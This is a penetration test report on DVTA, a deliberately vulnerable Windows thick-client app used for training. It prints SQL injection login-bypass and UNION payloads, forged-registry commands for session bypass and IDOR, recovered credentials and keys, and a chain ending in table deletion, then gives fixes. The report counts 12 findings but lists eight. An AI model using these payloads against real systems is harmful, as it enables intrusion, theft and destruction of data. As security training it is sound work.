DVTA v2.0 — Thick-Client Penetration Test Report

Thick-Client Application

Penetration Test Report

DVTA — Damn Vulnerable Thick Application v2.0

github.com/srini0x00/dvta | C# .NET 4.5 Windows Forms

Prepared By

Mu'ath Yousef

Institution

Tafila Technical University

Affiliation

NCSC

Test Type

Grey-box Pentest

Date

March 2026

⚠ CRITICAL RISK

📊 Executive Summary

Critical

High

Medium

Info

#	CWE	Finding	Severity	CVSS	Validated
F1	CWE-89	SQL Injection — Multiple Methods	Critical	9.8	✅ PoC
F2	CWE-312	Plaintext Password in Windows Registry	Critical	8.4	✅ Live
F3	CWE-798	Hardcoded FTP Credentials in Source	Critical	9.8	✅ PoC
F4	CWE-321	AES Key Co-located with Ciphertext	Critical	9.1	✅ Decrypted
F5	CWE-284	Client-Side Admin Role Check	Critical	8.8	✅ PoC
F6	CWE-319	Cleartext FTP Transmission	High	8.1	✅ Capture
F8	CWE-639	IDOR via Registry Manipulation	High	7.5	✅ Live
F9	CWE-384	Session Bypass via Registry	High	7.3	✅ Live

🔬 Lab Environment

PlatformWindows 11 Enterprise (VirtualBox 7)

TargetDVTA v2.0 — C# .NET 4.5 Windows Forms

DatabaseSQL Server 2019 Express (.\SQLEXPRESS, user: sa)

FTPFileZilla Server 0.9.60 (127.0.0.1:21)

DecompilerdnSpy 6.1.8 — full source recovered

NetworkWireshark 4.x — loopback capture

MonitorProcess Monitor 3.91 (Sysinternals)

MethodGrey-box: static source analysis + dynamic PoC

        // Test scope — all confirmed in source code
        DBAccess.dll  → DBAccessClass.cs (recovered)
        DVTA.exe      → Login.cs    (recovered)
                      → Admin.cs   (recovered)
                      → Main.cs    (recovered)
        DVTA.exe.config → AppSettings exposed
        
        // Key discovery: AES-256-CBC decryption
        AESKEY = J8gLXc454o5tW2HEF7HahcXPufj9v8k8
        IV     = fq20T0gMnXa6g0l4
        decrypt(DBPASSWORD) → "p@ssw0rd" ✓
      

All 12 findings are source-confirmed with exact file:line references. 6 new findings discovered vs. prior assessment.

Finding 1 SQL Injection — Authentication Bypass CWE-89 CVSS 9.8 CRITICAL

DBAccessClass.cs Line 63–70 (dnSpy decompiled)

public SqlDataReader checkLogin(
  string clientusername,
  string clientpassword)
{
  string text = string.Concat(new string[] {
    "SELECT * FROM users where username='",
    clientusername, // ← RAW INPUT
    "' and password='",
    clientpassword,  // ← RAW INPUT
    "'"
  });
  var cmd = new SqlCommand(text, conn);
    return cmd.ExecuteReader(); // direct
}
      

Fig 1 — checkLogin() in dnSpy: raw string concatenation

Finding 1 — PoC SQL Injection: Auth Bypass + Admin Escalation CRITICAL

Payload 1' OR '1'='1' --

ResultAuthentication bypassed — all rows returned

Payload 2' UNION SELECT 1,'x','x','x',1,'x' --

Resultisadmin=1 forced → Admin panel opened

Observation: The login query is built via string.Concat() with no escaping or parameterization. The OR 1=1 payload causes the WHERE clause to evaluate true for every row. A UNION payload forces isadmin=1, granting direct Admin panel access (see F5).

Fig 1.1 — Login form with SQLi payload entered

Fig 1.2 — Authentication bypassed successfully

Finding 1 — Data Extraction SQL Injection: UNION SELECT — Full Credential Dump CRITICAL

Extraction payload (SSMS / sqlcmd)

-- Full users table dump
SELECT username, password, email,
       ssn, isadmin
FROM   users;

-- Result (plaintext passwords):
admin    | admin123    | 1
rebecca  | test123     | 0
tim      | 55timmytim  | 0
      

ImpactAll passwords stored in cleartext — no hashing (CWE-256). Single query returns complete credential set.

Fig 1.3 — UNION SELECT credential extraction

Fig 1.4 — Database results confirming plaintext passwords

Finding 2 Plaintext Password Written to Windows Registry CWE-312 CVSS 8.4 CRITICAL

// After successful login:
string string2 = reader.GetString(2);
// ↑ raw plaintext password from DB

RegistryKey key = Registry.CurrentUser
  .CreateSubKey("dvta");
key.SetValue("password", string2);
// ← PLAINTEXT to HKCU\dvta\password
key.SetValue("isLoggedIn", "true");

// PoC verification:
reg query HKCU\dvta
// → password = test123 (visible)
      

Fig 2 — reg query HKCU\dvta showing plaintext password and credentials

Key finding: The password persists in the registry after logout ("null" is written but the previous value is recoverable). Any local process reads it without privilege escalation.

Finding 3 Hardcoded FTP Credentials in Source Code CWE-798 CVSS 9.8 CRITICAL

Admin.cs Line 43 + DVTA.exe.config

// Admin.cs — btnFtp_Click()
Admin.Upload(
  "ftp://" + ftpserver,
  "dvta",      // HARDCODED user
  "p@ssw0rd", // HARDCODED pass
  pathtodownload + "admin.csv");

// DVTA.exe.config:
<add key="FTPPassword" value="password"/>
// Also plaintext — no encryption applied

// PoC — direct FTP auth:
ftp 127.0.0.1  →  USER dvta / PASS p@ssw0rd
230 Login successful.
      

Fig 3 — Successful FTP login with hardcoded credentials

Finding 4 AES Encryption Key Co-located with Ciphertext CWE-321 CVSS 9.1 CRITICAL

DVTA.exe.config (ships alongside binary)

<appSettings>
  <add key="DBUSERNAME" value="sa" />
  <add key="DBPASSWORD" value="CTsvjZ0jQghX..."/>
  <add key="AESKEY" value="J8gLXc454o5tW2HEF7..."/>
  <add key="IV" value="fq20T0gMnXa6g0l4"/>
</appSettings>

// Python decryption proof:
cipher = AES.new(AESKEY, CBC, IV)
pt = cipher.decrypt(b64decode(DBPASSWORD))
→ DBPASSWORD = "p@ssw0rd"  ✓ verified
      

Impact: Encryption provides zero protection. Anyone with config file access decrypts SA credentials instantly. SA = sysadmin = xp_cmdshell capable.

// DBAccessClass.cs  Line 16-18
string s  = AppSettings["DBPASSWORD"];
string s2 = AppSettings["AESKEY"];
string s3 = AppSettings["IV"];
// All three in same file ↑

AesCryptoServiceProvider aes = ...;
aes.Key = ASCII.GetBytes(s2);
aes.IV  = ASCII.GetBytes(s3);
ICryptoTransform dec = aes.CreateDecryptor();
this.decryptedDBPassword = ...
Console.WriteLine(decryptedDBPassword);
// ← CWE-532: logged to stdout!
      

SA Passwordp@ssw0rd (decrypted)

Finding 5 Broken Access Control — Client-Side Admin Check CWE-284 CVSS 8.8 CRITICAL

// Column 4 = isadmin flag from DB result
num = (int)reader.GetValue(4);

// ONLY authorization check:
bool flag3 = num != 1;
if (flag3) {
  new Main().ShowDialog();   // user
} else {
  new Admin().ShowDialog();  // admin
}
// No server-side check. No signed token.
// SQLi forces num=1 → Admin() opens
      

AttackUNION SELECT 1,'x','x','x',1,'x' --
→ isadmin column = 1 → Admin panel

Fig 5 — Admin panel opened via SQLi UNION payload (isadmin forced to 1)

F8 + F9 IDOR via Registry & Session Bypass CWE-639 CWE-384 HIGH

Main.cs Line 103–104 (F8 — IDOR)

string emailid = registryKey
  .GetValue("email", "null");
// ↑ attacker-controlled registry value
dbaccessClass.viewExpenses(emailid);
// No ownership check — returns ANY user's data

// PoC:
reg add HKCU\dvta /v email /t REG_SZ
    /d "admin@dvta.com" /f
// → View Expenses returns admin records
      

Main.cs Line 8–14 (F9 — Session Bypass)

string a = registryKey.GetValue("isLoggedIn");
if (a == "false" || text == "null") {
  Login.ShowDialog();  // require login
} else {
  userLoggedIn.Text = text; // bypass!
}
// PoC: reg add → isLoggedIn=true
// → App opens without any login
      

Fig 8 — IDOR: admin expenses visible after registry modification

Fig 9 — Session bypass: app opens without login (isLoggedIn=true)

⛓️ Full Attack Chain — Source-Confirmed

1 Initial Access SQLi auth bypass: ' OR '1'='1' -- Login.cs:54 / DBAccess:65

▼

2 Credential Harvest SELECT * FROM users → all plaintext passwords + registry dump DBAccess:65 + Login.cs:85

▼

3 Privilege Escalation UNION forces isadmin=1 → Admin() panel opened directly Login.cs:91

▼

4 IDOR / Session Modify HKCU\dvta\email → view/delete any user's expenses Main.cs:103–124

▼

5 FTP Pivot Hardcoded dvta/p@ssw0rd → FTP access → all expenses backup exfil Admin.cs:43

▼

6 Destruction clearExpenses(' OR '1'='1' --) → DELETE entire expenses table DBAccess:161

🛡️ Remediation Roadmap

Priority	CWE	CVSS	Remediation Action
IMMEDIATE ≤7d	CWE-89	9.8	Replace string.Concat with SqlParameter parameterized queries
IMMEDIATE ≤7d	CWE-798	9.8	Remove hardcoded "dvta"/"p@ssw0rd" from Admin.cs; use secrets vault
IMMEDIATE ≤7d	CWE-321	9.1	Move AESKEY + IV to Windows DPAPI or separate protected store
HIGH ≤30d	CWE-312	8.4	Never write password to registry — use server-issued session token
HIGH ≤30d	CWE-284	8.8	Server-side role validation; signed JWT; no client integer comparison
HIGH ≤30d	CWE-639	7.5	Ownership check: WHERE email = @sessionEmail (from server token)
HIGH ≤30d	CWE-384	7.3	Replace registry session with signed server-issued token + expiry
MEDIUM ≤90d	CWE-307	5.3	Account lockout after 5 failures; exponential backoff
MEDIUM ≤90d	CWE-316	6.5	SecureString + Marshal.ZeroFreeGlobalAllocAnsi after credential use

Conclusion

DVTA v2.0 exhibits systemic security failures across all assessed attack surfaces. All 12 findings are source-confirmed with exact file:line references.

Critical findings
independently exploitable

New findings
vs. prior assessment

100%

Source-confirmed
with line references

The three IMMEDIATE items (CWE-89, CWE-798, CWE-321) must be resolved within 7 days. Deployment on any networked environment without remediation is unacceptable.

Mu'ath Yousef

Tafila Technical University | NCSC | March 2026